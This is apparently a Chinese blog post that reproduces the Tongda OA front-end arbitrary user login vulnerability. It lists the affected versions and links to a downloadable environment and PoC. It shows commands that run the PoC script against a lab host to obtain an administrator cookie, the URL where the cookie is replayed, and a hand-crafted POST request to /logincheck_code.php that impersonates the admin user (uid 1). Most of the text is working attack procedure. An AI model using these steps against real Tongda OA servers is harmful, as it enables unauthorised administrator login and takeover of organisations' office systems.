通达OA 前台任意用户登录漏洞复现
漏洞描述
通达OA是一套办公系统。通达OA官方于4月17日发布安全更新。经分析,在该次安全更新中修复了包括任意用户登录在内的高危漏洞。攻击者通过构造恶意请求,可以直接绕过登录验证逻辑,伪装为系统管理身份登录OA系统。
影响范围
通达OA < 11.5.200417版本
通达OA 2017版本
环境搭建
环境&POC链接: https://pan.baidu.com/s/1oM2l0mLk6xjeGI77Us0i3A 提取码:0pv3 (转载至公众号 thelostworld)
环境和poc都在了链接里面 (本次复现是通达OA 2017版本)
搭建完成后,访问
1.利用脚本获取cookie (-v是版本,其它版本需要更换)
python37 tongda-oA.py -v 11 -url http://192.168.247.130 11.x版本
python37 tongda-oA.py -v 2017 -url http://192.168.247.130 2017版本
2.访问
http://192.168.247.130/general/index.php?isIE=0&modify_pwd=0 抓包替换cookie (直接利用插件替换cookie也是一样)
登录成功
-------------------------------------------------------
另外也附上手工获取cookie的方法
https://mp.weixin.qq.com/s/P-LC0fosKu0k7pCiBvQXPw 参考
1. 访问 /ispirit/login_code.php 获取codeuid
2.替换成codeuid
POST /logincheck_code.php HTTP/1.1 Host: thelostworld Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3494.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=p330igntkg0ocmddum2scj8jp5; Connection: close Content-Length: 120 {'codeuid': 'thelostworld', 'uid': '1', 'source': 'pc', 'type': 'confirm', 'username': 'admin'}
如果是"status":1就存在漏洞,同时本次的Cookie: PHPSESSID=p330igntkg0ocmddum2scj8jp5;就是本次的会话PHPSESSID。
这个方法没测试成功,也确实是返回了1,但替换cookie就是没登录上。。。